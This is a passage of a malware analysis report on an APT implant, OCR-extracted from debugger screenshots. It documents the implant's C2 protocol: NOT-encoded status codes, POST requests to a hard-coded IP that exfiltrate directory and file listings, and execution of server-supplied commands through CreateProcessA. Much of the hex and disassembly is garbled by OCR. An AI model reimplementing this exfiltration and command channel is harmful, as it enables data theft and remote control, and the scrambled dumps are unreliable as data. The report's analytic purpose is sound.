0471DFES |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAARAAAA i ATEE | GEGOROGG
0471DFFS| 41 41 41 41 (41 41 41 41[41 41 41 41[41 41 41 41 | AAAAAAAAAAABAAAA G ARG || GohGoo0a
0471E008| 41 41 41 41 (41 41 41 41(41 41 41 41]41 41 41 41 | AAAAAAAAAAAAAAAA - iNE a4 L Ga A g
0471E018| 41 41 41 41 (41 41 41 41(41 41 41 41[41 41 41 41| AAAAAAAAAAAAAAAA BT AN T R an ea
0471E028 |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAARAAAA i annie | atosss

0471E038 |41 41 41 41(41 41 41 41(41 41 41 41[41 41 41 41| AAAAAAAAAAAAAAAA i innan || i Erec Ieas
0471E048 |41 41 41 41 (41 41 41 41[41 41 41 41]|41 41 41 41| AAAAAAAAAAAAAAAA na7ionas | 67188894 apt.
0471E058 |41 41 41 41 (41 41 41 41(41 41 41 41|41 41 41 41| AAAAAAAAAAAAAAAA

3 P 3 F F 3 3 p 3 F 3 P 0471DDAS | 047 1LFFS0
O471EQ068 | 41 41 41 41(41 41 41 41(41 41 41 41]|41 41 41 41| AAAAAAAAAAAAANAN ||t et et el [ e

Figure 58

The process announces the C2 server that the write operation was successful by issuing a POST request (NOT (CF 83
CE 83 CF 83) =30 7C 31 7C 30 7C = “0[1]0]”):
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i - 6A 00 push 0
i ®| 57186E85 8B 45 FC mov eax,dword ptr ss:|[[ebp-4]
i o 67186EEB8 E8 BF CB FF FF E&11 apt.&718374C
i e|l 67186E8D 50 push =ax
! ®| 67 156B5E BB 45 FC mov eadx,dword ptr ss:|[febp-4]
: e 671866891 ES B6 CD FF FF €11 apt.6718394C
i | 67186E96 4u] push eax
' ®| 67186897 56 push esi
EE—e E8 A3 DA FF FF €811 <apt. send>
| | 67186E3D 48 dec eax
! r----®( 67186B5E ~ 7C 02 j1 apt.&7186BA2
: S St SELIET TR
Ji I
<apt.send=

CODE: 671836635 apt.exe:$6B95 #5F38

R 00000130
@Woumpt  @pumpz BWpump3  UHoump4  @Woumps @ watchi | Ix=llocals 4 P DIFE1490

R | ASCII ~ || 0471DD78 | DODOD147

03FE1490 |50 4F 53 54(20 2F 63 78|70 63 64 2F|73 75 &2 6D |POST /cxpid/subm g:zi-gggg 047 1DDAD
0O3FE14A0| 69 74 2E 70|68 70 3F 53|65 73 73 69|6F 6E 49 44|it.php?SessionID 04:_'lDDS4 67156BBE
0O3FE14BO( 3D 31 39 36|20 48 54 54|50 2F 31 2E(30 0D 0A 48|=196 HTTP/1L.0..H 0471DDSE | 0471DD98E
O3FE14CO|(6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39| os5t: 121.127.249 047 1DDEC | 0O000100
O3ZFEL4DO| 2E 37 34 3A|34 34 33 0D(0A 55 73 65|72 2D 41 &7 .74:443. ._USEI'—.RQ 04710090 | 00000000
D3FE14E0| 65 6E 74 3A|20 4D 6F FA|69 BC 6C 61|2F 34 2E 30| ent: Mozilla/4.0 D4710D094 | 03FE1490
O3FE14F0| 20 28 63 6F (R 70 61 F4(69 62 6C &5(3B 20 4D 53 {compatible; MsS 04._'J.DD‘35 047 1EE30
D2FE1S00| 49 45 20 37|2E 30 3B 20|57 69 6E 64|6F 77 73 20| IE 7.0; windows 04._'].DD‘3C F671887C7
03FE1510|4E 54 20 35|2E 31 3B 20|53 56 31 290D 0A 41 63|NT 5.1; SVl)..Ac S| e
03FE1520|63 G5 70 74(3A 20 2A 2F|2A 0D DA 41|63 63 &5 70| cept: */*.. Accep .04:_'lDD:\-" 671588894
03FE1530|74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 GE 2D 75| t-Language: en-u 04-_'J.DD%S. 0471FFB0
03FE1540(73 0D OA 43(6F 6E GE 65|63 74 63 6F|6E 3A 20 4B|s..Connection: K n4a710DAC || 67188364
O3FEL550|65 65 70 2D (41 & 69 76|65 0D OA 43|6F GE 74 65| eep-Alive..Conte 047100ED || 67188264
D2FE1SE0|6E 74 2D 54|79 70 65 3A|20 74 65 78|74 2F 88 74| nt-Tvpe: text/ht U-I._'J.DDB-I 00000000
O3FELS70|6D 6C 0D DOA|43 6F GE 74|65 6E 74 2D|4C 65 &E &7 |ml..Content-Leng 04._'J.DD55 00000000
D2FE1S80|74 68 3A 20|37 37 OD OA|OD OA 3C 68|74 6D &C 2E|th: 77....<html= 04._'].DDEC 00000000
03FE1590|3C 68 65 61|64 3E 3C 74|63 74 6C B5|3E 52 65 73| <head»<titlexRes 04;'lDDC o |l oooooooo
O3FE1SAD|75 6C 74 3C(2F 74 69 74|6C 65 3E 3C|2F 68 65 61| ult</ti t1E>{/h§a .04._'lDDC-‘- 00000000
03FE15B0| 64 3E 0D DA|3C 62 6F 64|79 3E 3C 68|34 3E CF 83|d»..<body»<h4xI. 04._'lDDC5. 00000000
03FE1SCO|CE 83 CF B3|3C 2F 68 34|3E 3C 2F 62|6F &4 79 3E|I.I.</hd4></body> U4I_J.DDCC 00000000
O3FE15D0|2C 2F ©8 74|6D & 3E O0|E4 BS 18 €7|F4 BS 18 &7 | </html=.&u.gdy.g Y fazinnna ll annnnnnn

Figure 59

If the write operation failed, the request is changing (NOT (CF 83 CF 83 CF 83) = 30 7C 30 7C 30 7C = “0|0|0]”):

P e 64 00 push 0
! L 8B 45 FC mov eax,dword ptr ss:[febp-4]
1 ] ES8 BF CB FF FF EET] apt.6&718374C
{ @ 50 push eax
0 ® 8B 45 FC mov eax,dword ptr ss:|[ebp-4]
i L E8 B6 CD FF FF €all apt.6718394C
[ L 50 push eax
- 56 push esi
EE—— E8 A3 DA FF FF €811 <apt. send>
] 45 dec eax
' p-——-m o = e
e ke e
<apt.send:

CODE: 67186B95 apt.exe: $6B98 #5F95

L Dump 1 L) Dump 2 L] Dump 3 L] Dump 4 L] Dump 5 @ Watch 1 |x=] Locals 4 E) 0471DD74 | 03FE1490
Address | Hex ASCIT a || 0471DD7 & | 00000147

D3FE1490 50 4F 53 54|20 2F 63 78|70 69 64 2F|73 75 62 6D |POST /cxpid/subm e —
D3FE14A0| 63 74 2E 70(68 70 3F 53|65 73 73 69|6F G6E 49 44|it.phpTSessionID i b o S REHE
O3FE14B0|3D 31 39 37(20 48 54 54|50 2F 31 2E|30 0D DA 48|=197 HTTP/1.0..H sl e
D3FE14CO|6F 73 74 3A(20 31 32 31|2E 31 32 37|2E 32 34 39|0st: 121.127.249 A e nanronEs
03FE14D0| 2E 37 34 3A(34 34 33 0D|0A 55 73 65|72 2D 41 67|.74:443,,User-Ag tia7 ADHSG | GoDEnEaT
D3FE14E0| 65 6E 74 3A[20 4D 6F 7A|69 6C &C 61|2F 34 2E 30|ent: Mozilla/4.0 b3 ibE 5% | GIEET A
D3FE14F0|20 28 63 6F(GD 70 61 74|69 62 6C 65|3B 20 4D 53| (compatible; MS B iDh S T Tt
D3FE1500| 49 45 20 37|2E 30 3B 20|57 6% 6E 64|6F 77 73 20|IE 7.0; Windows AT f e
03FE1510|4E 54 20 35(2E 21 3B 20|53 56 31 29|0D 0A 41 63|NT 5.1j SV1)..Ac e | [
03FE1520|63 &5 70 74(3A 20 2A 2F|2A 0D OA 41|63 63 65 70|cept: */=,.Accep fiainn el ExranRaE
03FE15230|74 2D 4C 61(6E 67 75 61|67 65 3A 20|65 GE 2D 75|t-Language: en-u s ine e | Bl FAcE Ry
D3FE1540 (73 0D 0A 43(6F 6E 6E 65|63 74 69 6F|6E 3A 20 4B|s..Connection: K 047 1004C | 67133364
D3FE1550| 65 65 70 2D (41 6C 63 76|65 0D OA 43|6F GE 74 65|eep-alive..Conte 04710080 || 67189364
D3FE1560|6E 74 2D 54(79 70 65 3A|20 74 65 78|74 2F €8 74|nt-Type: text/ht 04710084 || 00000000
O3FE1570|6D &C 0D 0DA[43 6F 6E 74|65 6E 74 2D|4C 65 GE 67 |ml..Content-Leng i Anni || Ghhhoen
03FE1580|74 68 3A 20(37 37 OD 0OA|OD OA 3C 68|74 6D 6C 3E|th: 77....<html> 04=1D0BC || 00000000
D3FE1590|3C &8 65 61(64 3E 3C 74|69 74 6C 65 |3E 52 65 73| <head»<titlesRes 04-100c0 | oooc0000
D3FE15A0|75 &C 74 3C|2E 74 69 74|6C 65 3E 3C|2F 68 65 61|ult</titles</hea p4- 1000 4 | oooooo0n
D3FE15B0| 64 3E 0D 0DA[3C 62 6F 64|79 3E 3C 68|34 3E CF 83|d>..<body><h4>I. basihoes | BEoohEan
D3FE15CO|CF 83 CF 83(3C 2F 68 34|3E 3C 2F 62|6F 64 79 3E|I.I.</h4></body> :

03FE1SDO|3C 2F €8 74|60 6 3E 00|E4 BS 18 €7|F4 BS 18 &7 </html>.dy.gdu.0 L o | e,

Figure 60

An identical GET request, as presented before, is sent to the server and the malware jumps back to the switch

statement (this applies to each case).

Case2-EAX =1
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In this case, we have 2 subcases depending on the response from the server. In the first one, the only thing that is

exfiltrated to the CnC server is the current directory, which can be obtained by applying a NOT operation:

®( 671836883 64 00 push 0
#| 67186885 8B 45 FC mov eax,dword ptr ss:[febp-4]
®| 67186E88 ES8 BF CB FF FF €& apt.s&718374C
@ | 67186B8D 50 push eax
#®| 67186B3E BB 45 FC mov eax,dword ptr ss:|Jebp-4]
#( 67136891 E8 B& CD FF FF €all apt.6713394C
®| 671536896 50 push eax
®| 67186897 56 push esi
] ES8 A3 DA FF FF call <apt.send> W |
1 #| 67186B9D 43 dec eax ——
4 < > | Default (stdce
<apt.send= 1: [esp]l
2: [esp+a
3: [esp+8
CODE: 67186838 apt.exe:$6B38 #5FI8 S lesnE
B 047 00000190
@Woumpt  @pump2z BWpump3  @loump4  @Woumps @ watchi | Ix=llocals 1 P 0471DDZ8 | 03FEODEC
Address | Hex ASCIT » || @471DD2C | 00000152

0471DD 320 | 00000000
0471DD34 | 0471DD5 4
0471DD3E | 67186BBB
0471DD2C | 047 1DD4C
0471DD40 | 671858364
0471DD 44 | 00000000
0471DD 48 | 03FEODSC
0471DD4C | 0471DD98
04710050 [671B7AB9
0471DDS 4 || 047 1DDAO
0471DDEE | 67187C9F
0471DDSC | 0471DDS8
0471DD &0 | 00000000
0471DDG4 | 00000000
0471DDGE || 00000000
04_;DDGC Q0000000
Fi 00000000
00000000
0471DDTE (| O3FEOB24
0471DD7C | O3FEQACC

O3FEODSC [50° 4F 53 54(20 2F 63 78|70 69 64 2F|73 75 62 6D |POST Jcxpid/subm
O3FEODSC (69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44|it.phpTsessionID
O3FEODAC (3D 34 31 20(48 54 54 50|2F 31 2E 30|00 0A 48 6&F|=41 HTTP/1.0..Ho
O3FEODBC |73 74 3A 20|31 32 31 ZE |31 32 37 2E|32 34 39 2E|st: 121.127.249.
O3FEODCC |37 34 3A 34(34 33 0D 0A |55 73 65 72|2D 41 67 65| 74:443..User-Age
O3FEODDC (6E 74 3A 20(4D 6F 7A 69|6C 6C 61 2F |34 2E 30 20(nt: Mozilla/4.0

O3FEODEC |28 63 6F 6D|70 61 74 69|62 6C 65 3E|20 4D 53 49| (compatible; MsSI
O3FEODFC |45 20 37 2E(30 3B 20 57|69 6E 64 GF |77 73 20 4E|E 7.0; Windows N
O3FEOEOC |54 20 35 2E|31 3B 20 53|56 31 29 0D|0A 41 63 63 |T 5.1; 5V1)..Acc
O3FEOELC |65 7O 74 3A(20 2A 2F 2A (0D 0A 41 €3|63 65 70 74| ept: */*..Accept
O3FEOE2C|2D 4C &1 BE|(6&7 75 61 &7 (65 3A 20 E5|6E 2D 75 73| -Language: en-us
O3FEQE3C (0D 0OA 42 G6F|(GE BE 65 63|74 69 6F GE|3A 20 4B 65 |..Connection: Ke
O3FEOE4C (65 70 2D 41(6C 69 76 65|0D 0A 43 6F|6E 74 65 &E|ep-Alive..Conten
O3FEOESC |74 2D 54 79|70 65 3A 20|74 65 78 74|2F 68 74 6D | t-Type: text/htm
O3FEOEGC(6C 0D 0OA 43(6F GE 74 G5|6E 74 2D 4C |65 GE 67 74|1..Content-Lengt
03FEOE7C|(68 3A 20 39(36 0D DA OD|QA 3C €8 74|60 6C 3E 3C|h: 96....<html>=<
O3FEOESBC |68 65 61 64(3E 3C 74 69|74 6C 65 3E|52 65 73 75| head-<title-Resu
O3FEOESC|(6C 74 3C 2F(74 6% 74 6C|65 3E 3C 2F|68 65 61 64| 1t</titlex</head
OZFEQOEAC | 3E OD 0OA 3C |62 6F 64 79|2E 3C 68 34|3E CE 83 CE|>..<body=<ha>1.1

O3FEQOEBC |83 BC C5 A3Z|AA BC 94 8D |8C A3Z AD BA|B2 A3 BB 94| .MAf3. . . f£.°%fu_ n4710030 || oooooooo
03FEOECC|8C 94 BB 90|BF 83 3C 2F |68 34 3E 3C|2F 62 6F 64|...... </h4></bod i THn || BEEEa R
03FEOEDC |79 3E 3C 2F|68 74 6D 6C|3E 00 00 O0|E4 BS 18 €7 |y></html>...0.Q il | Wi il
Figure 61

In the second subcase, the malware scans the current directory using the FindFirstFileA and FindNextFileA

functions:
EE—0 « | EFEEGE ES 48 CD FF FF €EIl <apt.FindFirstFileAs CS 0023 55 002B
® | 67187808 8B F8 mov edi,eax
* | 6718780A 83 FF FF cnp edi,FEFFEFFF
----e| 67187800 v 75 11 jne apt.67187820 322 gggggggg
® || 6718780F 8B C6 mov eax,esi
o | 67187811 BA 8C 79 18 67 mov_edx,apt.&718798C DR nDnaDnnD,
»| 67187816 ES 01 BE FF FF call apt.6718361C DR3 00000000
67187818 ~ E9 31 01 00 00 jmp apt.67187951 DRE& 00000000
----# | 67187820 33 DB xor ebx,ebx DR7 00000000
o | 67187822 68 94 79 18 67 push apt.67187994
® || 67187827 8D B85 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
s || 6718782D 50 push eax
® | 6718782E E8 B5 CD FF FF call <apt.lstrcmpi>
o | 67187833 85 CO test eax,eax
----e || 67187835 ~ 74 15 je apt.6718784C
|| 67187837 68 98 79 18 67 push apt.&67187998
® || 67187 83C 8D 85 CC FE FF FF lea eax,dword ptr ss:[ebp-134]
® || 67187842 50 push eax
» | 67187843 E8 70 CD FF FF call <apt.lstrcmpi=
* | 67187848 85 CO 1est eax,eax
6718784A| ~ 75 2B jne apt.67187877
L---+e | 6718784C 8D B85 AD FE FF FF lea eax,dword ptr ss:[ebp-160]
® || 67187852 50 push eax
® || 67187853 57 push edi =
e | 67187854 E8 FF CC FF FF call <apt.FindNextFileA> v =
. T R = Default (stdcall)
= T 7 1: [esp] 03FEDACS "C:\\Users'\'\HEN
<apt.FindFirstFilea> 2: esgltl] 0471DBEC AW \
3: esp+8] 0471DD54
p+c] 67187974 apt.67187574

CODE: 67187803 apt.exe:$7803 #6C03
O3FEDACS "C Us o kt SRt
W@Woump1  @hpump2  @Hoump3z  WoDump4  WDumps @) watthi  bxellocals 4 ﬁ’mmﬂmmo 04T1DBEC A ers\‘-\\ = np\\

Figure 62

Each file time is extracted and converted to a local file time by using the FileTimeToLocalFileTime API:
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8B CC FF FF

BE B4 FE FF FF

push eax

lea eax,dword ptr

push eax
€dll <apt.FileTimeToLocalFileTime=

ss:|febp-14C]

<apt.FileTimeToLocalFileTime>

CODE: 671878B0 apt.exe:$78B0 #6CBO

Figure 63

@Woump1  @pump2 @Hpump3  @Woump4  @Hpumps @ watch1i  Iellecas 4 P oarineng
Address | Hex ASCIT gj:igggi
0471DCOD | 4C BD 6B BA|DS 89 D6 01|00 0O 0O 00|47 44 01 00|L'k.U.0..... GD. . Sl
0471DC10| 00 00 00 00|00 00 00 00|31 30 68 00|00 00 00 00)........ ok e

047 1DCO0
0471DD30
0471DD5 4
67187974
0471DD4C
R7TRRIRS

The process constructs the next buffer for every file: 1|File name|dwHighDateTime (high-order 32 bits of the file

time) in decimal|File size in decimal|. An example of such buffer is presented in the next picture:

Address | Hex ASCII |
O3FEDB2C|31 7C 31 30(6B 7C 33 30(38 33 37 31|36 37 7C 38|1|10k|30837167|8
0O3IFEOB3C |33 30 31 35(7C 00 00 0O0|F4 BS 18 67|F4 BS 18 &7 |3045]...0u.00u.0Q
Figure 64

After the process succeeds in applying the algorithm for every file in the current directory, the final buffer looks like

the following:

Address

Hex

ASCII

D3IFEZ23C4
03FE23D4
D3IFEZ3E4
0O3FEZ23F4
D3IFEZ404
D3IFEZ2414
D3IFEZ2424
D3IFEZ2434
D3IFEZ444
D3IFEZ45 4
OD3FEZ2464
DIFEZ247 4
D3IFEZ2484
DIFEZ494
D3FEZ24A4
D3IFEZ4B4
O3IFEZ24C4
D3IFEZ4D 4
DIFEZ4E4

Figure 65

31
23
&3
33
70
35
&2
7C
&2
38
66
34
TA
7C
21
61
2E
33
30

7C
30
&5
39
2E
31
&3
32
34
&5
32
&5
7C
31
=13
38
&5
39
37

31
21
39
&5
&5
34
2E
31
&2
&2
65
32
33
7C
21
30

38
37

30
35
&6
32
78
32

]
7C
31
64
65
39
6F
32
39
33
3z
39
38
64
36
44
7C
32
64

7C
31
30
36
7C
39
2E
39
35
&5
39
34
32
31
34
&5
33
33
38

36
&3
34
61
35
30
34
38
2D
65
31
32

33
7C
&6
33
33
7C
30
32
33
&6
33
36
33
30
63

30
7C
31

30
31
37
2D
30
31

7C
62
&4
63
30
37
34
33
&9
38
31
31

38
62
38
46
38
7C
33
31
30
39
37
35
31
38
30
63
32
7C
63

33
&4
35
4D
32
3z
30
7C
37
62
39
39
33
36
&5
&5
36
38
&5

37
G5
39
43
32
2E
35
32
37
61
65
2E
7C
61
38
56
31
61
35

31
=13
35
52
30
31
32
31
33
38
30
&2
34
30
36
&9
31
34
&5

36
39
34
53
35
30
30
32
&4
30
&5
&9
31
37
63
&5
38
31
&5

37
63
33
G5
35
2E
36
34
36
&4
37
GE
35
39
&4
Fara
7C
39
61

7C
(13
61
74
7C

33
33
38
37
66
2E
31
62
32
&5
31
62
34

38
34
31

31
&9
37
63
61
&6
36
&7
30
&4
61
72
32
31
34

1|10k |30837167 |8
3015 | 1| 1bdefact4
ceaflof7Fas9543al
I222d63-FMCRS2tU
p.exe|30822055 |1
514299|1|2.10.11
bc.so.0| 30520637
|216292|1|21243cC
b4bc9s3b0773d68a
Seb4azefdobasodr T
T2eaz93cr79e0erTe
4225946059. bin. g
Z|30823713| 41510
|1]4d10486a07abd
1f1864c30e86cd2a
aso-Deviceviewer
.exe|30826118]12
398123 |1|8a413b1
0772d811lceSeeadd

The buffer is encoded using the NOT operator and is exfiltrated to the C2 server via a POST request:
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i ®| c7186E83 &eA 00 push 0

! ®| 6718&BS85 8B 45 FC mov eax,dword ptr ss:|[febp-4]

1 ®| 671EGEBE ES8 BF CB FF FF call apt.&718374C

| L] 50 push eax

! L] BB 45 FC mov eax,dword ptr ss:|[febp-4]

] L] ES8 B6 CD FF FF call apt.6718394C

! ] S0 push eax

! L 56 push esi '
IE I P g my 2 E8 A3 DA FF FF €all <apt.send- L —]

i L > | Def

= izl
<apt.send:> %:

83

CODE: 67186B98 apt.exe:$6B98 #5F98 é

; [EEEEBRERY 00000190 |
@Woup1  @Woump2  @WHoump3  Blpump4  Woumps @ watch1  ellocals 4 BIGSESmace orEoas
Address | Hex ASCII 0471DD2C | 00001498

~ 00000000
O3FE7188 50 4F 53 54(20 2F 63 78|70 62 64 2F|73 75 62 6D |POST /cxpid/subm gji}ggg? 0471005 4
O3FE7198( 69 74 2E 70|68 70 3F 53|65 73 73 69|6F GE 49 44| it.phprsessionID 04710032 | 67186888
O3FE71AS|3D 39 32 20|48 54 54 50(2F 31 ZE 30|00 DA 48 &F =92 HTTP/1.0..HO 0471003C | 047 1DD4C
O3FE71B8 (73 74 3A 20|31 32 31 2E(31 32 37 2E(32 34 39 2E|ST: 121.127.249. na71pn2n| 67188364
O3FE7ICS |37 34 3A 34|34 33 0D 0A|(55 73 65 72|20 41 67 65|74:443..User-Age p4710044 | DOODODOD
D3FE7IDS| 6E 74 3A 20|4D 6F 7A 69(6C 6C 61 2F|34 2E 30 20| nt: Mozilla/4.0 04710045 | D3FET1ES
D3FE71ES |28 63 6F GD |70 61 74 69|62 6C 65 3B|20 4D 53 49| (compatible; MSI D471DD4C | DaT1DDaS
O3FE7LF8(45 20 37 2E(30 3B 20 57 (69 GE 64 6F |77 73 20 4E|E 7.0; Windows N 04710050 Fe7187C1C
O3FE7208(54 20 35 2E(31 3B 20 53|56 31 29 OD|0A 41 63 63|T 5.1; 5W1)..AcC 0471005 4 || 047 10DAG
O3FE7218( 65 70 74 3A(20 2A 2F 2A(0D OA 41 63|63 65 70 74| ept: */*..Accept na-1oose || 67187c9E
O3FE7228|2D 4C 61 GE|67 75 &1 67 (65 3A 20 65|6E 2D 75 73| -Language: en-us na7100scC || 04710098
O3FE7238|0D DA 43 G6F|6E 6E 65 63|74 69 6F 6E|3A 20 4B 65|..Connection: Ke na71onen | noonooon
O3FE7248( 65 70 2D 41|6C 69 76 65 (0D OA 43 &F|6E 74 65 GE|ep-Alive..Conten naziooes || 0zFE487C
O3FE7258(74 2D 54 79|70 65 3A 20|74 65 7B 74|2F 68 74 6D |T-Type: text/htm nariooes | 02FEDAFD
D3FE7268|6C OD DA 43|6F 6E 74 65(6E 74 2D 4C |85 GE €7 74|1..Content-Lengt pa71o0ec | oooooooo
O3FE7278| 68 34 20 35|30 32 34 OD|0A OD OA 3C|68 74 GD 6C|h: 5024....<html pa710070 | coooooon
O3FE7288|3E 3C 68 65|61 64 3E 3C |74 69 74 6C|65 3E 52 65|><head-<titlesRe 0471007 4 | ooooooon
O3FE7298(73 75 6C 74(3C 2F 74 69|74 6C 65 3E|3C 2F 68 65 |sult</titlex</he n471007 2 | ooooooon
O3FE72A8| 61 64 3E UD|DA 3C &2 6F (64 79 3E 3C|&8 34 3E CE|ad>..<body><h4>1 n471007c | ooooooon
O3FE72B8| 83 CD 83 BC|C5 A3 AA SC(9A BD 8C AZ|AD BA BZ AZ|.I.wAf2....£.°%% pa71ooao || oooooooo
O3FE72C8| BB 9A S8C 94|8B 90 8F 83 |CE 83 CE CF |94 83 CC CF|®......- I.15. .13 na7iooas | 03EET 188
O3FE72D8(C7 CC C8 CE(C9 C8 83 C7|CC CF CE CA|83 CE 83 CE|CIEIEE.CITIE.1.1 f%iEna | BiLEsaig
D3FE72ES| 90 98 9A 99|C6 9C 99 CB|9C 9A C6 99|CE CF 99 C8|....%£..E..4£. 1. pariooac | o3FE23C4
O3FE72F8|C7 CA C6 CA|CB CC 9E CE|CC C6 9A CD|9B C9 CC D2 |CELEET.TIf.1.E1I0 na710090 || 03FEDACE
O3FE7308 (B2 B2 BC AD|AC 9A 8B 8A(8F D1 9A 87|9A 83 CC CF|'*%,—....R....II p471o0o4 || oooooooo
03FET318|C7 CD CD CF|CA CA 83 CE|CA CE CB CD|C6 C6 83 CE|CIIIEE.IETEfAx. 1 i

nazannas Lnaraccon

Figure 66
Case3—-EAX =2

By parsing the response from the server to obtain the command line to be executed, there is a new process created

using the CreateProcessA function:

®| 57188260 S0 push eax
. ED 45 B4 lea eax,dword ptr ss:[[ebp-4Cf
. S0 push eax
. GA 00 push o
. GA 00 push 0
. GA 00 push 0
. GA 00 push O
. GA 00 push O
L] GA 00 push 0O
L] FF 75 FC push dword ptr ss:[ebp-41
L] 68 FO B2 18 &7 push apt.&71882F0
L] FF 75 F& push dword ptr ss:[[ebp-35]
L] BD 45 AD lea eax,dword ptr ss:[febp-c0]
L] BA 03 00 00 00 mov edx,3
L] E8 76 B5 FF FF €all apt.6&718380C
L] 8B 45 AD mov eax,dword ptr ss:[Jebp-60J
L] E8 AE B& FF FF call apt.&718394C
L] S0 push eax
L] 6A 00 push 0
EIP puuy 1 E8 8A C2 FF FF €&l <apt.CreateProcessA>
. e ey

<apt.CreateProcessA>

CODE: 6715882A1 apt.exe: $82A1 #7GAL

@Woump1  @pump2  @oump3  Woumps  WWUoumps @ watch1 | [x=llocals 4 Bfoeaaoons
Address | Hex ASCII ~ |Eeahigs

03FEDACC [20) 00 33 OD|E4 GBS 1S 67|E4 Bs 18 67]2C 35 00 00 it
03FEDADC (28 35 00 00|11 22 33 OD|0A OD 00 00| E4 BS 18 &7 0471DD14
03FEDAEC |E4 BS 18 7|14 35 00 00|11 22 33 0D|I4 00 00 00 T
03FEDAFC (17 00 00 00|00 00 00 00|06 00 00 00|11 22 33 OD o

OZFEOBOC |0A OD 00 00 (E4 BS 18 GF (F4 BS 18 @F (EC 34 00 00
OZFEOBLC| 11 22 33 0D |0A OD 00 0O i

naccno lne 24 nn onnlar €9 ce cal7a 268 An Anl3e Ao Ec na

0471DD20
0471DD 24

0471DD4C
0471DD3C

Figure 67

If the new process was successfully created, the following request is made to the CnC server (NOT (CD 83 CE 83 CF
83) =32 7C 31 7C 30 7C = “2[1]0)"):
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Figure 68

Whether any error occurred during the process creation, the POST request is different (NOT (CD 83 CF 83 CF 83) =

32 7C 30 7C 30 7C = “2|0|0]):

®| 67186EE3 &A 00 push 0O

| 67186E8E BE 45 FC mov eax,dword ptr ss:[febp-4

®| 671E86EES EB BF CB FF FF €all apt.&6718374C

®| 67 156BED 50 push eax

@ 67 1836ESE BB 45 FC mov_eax,dword ptr ss:|febp-4J

#| 67186B91 E8 B6 CD FF FF call apt.6718394C

®| 671586896 50 push eax

|| 6F186B97 56 push esi

. E8 A3 DA FF FF call =<apt.send>

®| 67186B5D 48 dec eax

®| 671B6B9E ~ FC 02 j1 apt.&7186BAZ2

*ll <
CODE: 67186B98 apt.exe: $6B98 #5F98
B4 Dump 1 B4 Dump 2 @Y% Dump 3 B4 Dump 4 B4 Dump 5 @ watch 1 [x=lLocals 4 W 0471DD7 4 ﬂgFEm:;'?g
e e ASCIT ~ | B3710D7¢ | 60000000
O3FEODSO |50 4F 53 54|20 2F 63 78|70 69 64 2F (73 75 62 6D |POST Jcxpid/subm 0471D0 80 | 047 1IDDAD
O3FEODG&D| 69 74 2E 70|68 70 3F 53|65 73 73 69|6F 6E 49 44| 1t.php?SessionID LH--_'J.DDS-I- 67136BBS
O3FEOD7O(30 31 32 38(20 48 54 54|50 2F 31 2E(|30 0D 0A 48|=128 HTTP/1.0..H 0471DD38 | 04710098
O3FEOD80(6F 73 74 3A|20 31 32 31|2E 31 32 37|2E 32 34 39|0ST: 121.127.249 047100AC | 67188364
0O3FEODS0| 2E 37 34 3A|34 34 33 OD|0A 55 73 65 (72 2D 41 67 .?4:443.._USEr—ﬂg 04710090 | 00000000
D3FEODAO| 65 6E 74 3A[20 4D 6F 7A|63 6C 6C G61|2F 34 2E 30|ent: Mozilla/4.0 04710054 | 03FEODSD
O3FECDBO |20 28 63 GF (gD 70 ©1 74|69 62 6C 65|3B 20 4D 53| (compatible; MS 04710098 | 0471FF80
O3FEODCO( 42 45 20 37|2E 30 3B 20|57 62 6E 64|6F 77 73 20| IE 7.0; windows 0471005 F67188A49
O3FEODDO | 4E 54 20 35(2E 31 3B 20(53 56 31 29|0D 0A 41 63 |NT 5.1; SV1)..AC na71ooa0 || 0a71FFCC
O3FEODECQ| 63 &5 70 74(3A 20 2A 2F(2A OD 0A 41|63 &3 65 70| cCept: */*..Accep U_‘%J_DD:,:J_ 67183E0A
D3FEODFO(74 2D 4C 61|6E 67 75 61|67 65 3A 20|65 6E 2D 75|t-Language: en-u 04710DAS || 047 1FF80
O3FEQEOQO (73 OD OA 43(6F GE 6E 65|63 74 62 6F|GE 3A 20 4B|s..Connection: K 047100AC || 671883264
O3FEOE10| 65 65 70 2D(41 6C 69 76|65 OD OA 43 |6F GE 74 65| eep-Alive..Conte 047100E0 || 67188264
O3FEQOE20|6E 74 2D 54|79 70 65 3A(20 74 65 78 nt-Type: text/ht IZI-1-."J.DDB-1- Q0000000
O3FEOE30| 6D 6C OD OA(43 6F GE 74|65 6E 74 2D |4C 65 GE &7 |(ml..Content-Leng Ll-l--_'lDDES 00000000
O3FECE40(74 &8 3A 20(37 37 0D OA|OD OA 3C 68|74 6D &C 3E|th: 77....<html> 0471DDEC || 00000000
O3FEOESO(3C 68 65 61|64 3E 3C 74|69 74 6C 65 |3E 52 &5 72| <head-<title-Res n4710ne0 | ooooooon
O3FEOEGD| 75 6C 74 3C|2E 74 €9 74|6C 65 2E 3C|(2F 68 65 61| ulte/title=</hea 'LH'—.J_DDCJ_ 00000000
O3FEQOE7D |64 3E OD 0OA|3C &2 &F 64|72 3E 3C 68|34 3E CD 83 d‘:-,_.-:body:\--:h4>1. 04;'1DDC3 OZFENBLOD
D3FEDESO|CE 83 CF B3|3C 2F 68 34|3E 3C 2F 62|6F 64 79 3E|1.1I.</h4></body> 04710DCC || 00000000
D3FEOESO|3C 2F 68 74|60 6C 3E OD|E4 B3 18 67 |[E4 B 18 67| </html>.dp.gbu.g Yl razinnnn ll nzeenace

| : ™ &4 0O push 0

[ - 8B 45 FC mov eax,dword ptr ss:ffebp-4]

b ] E8 BF CB FF FF E&1T apt.&718374C

i El 50 push eax

! ] L 8B 45 FC mov eax,dword ptr ss:[[ebp-4]

L . ES B6 CD FF FF €dll apt.6718394C

! ! - 50 push eax

b ] 56 push esi
Eg— EB AZ DA FF FF €all <apt.send>

i . 48 dec eax

bl = FC- D2 i1 apt.67186BA2

|

et
<apt.send>
CODE: 67186B98 apt.exe:$6B38 #5F38
@oumpt  @lpump2 BWpump3  @Hoump4  @Woumps @ watchi | Ix=llocas 4 Pfoaranpra mpmﬂ’g
Address | Hex ASCIT - e e
O3IFEODSO (50 4F 53 54(20 2F 63 78|70 69 64 2F(73 75 62 6D |POST Scxpid/subm 04710DDE0 | 047 1DDAD
O3IFEODGO |69 74 2E 70|68 7O 3F 53|65 73 73 69|6F G6E 49 44| 1it.phpTSessionID 04:_'J.DDS4 671BGEEE
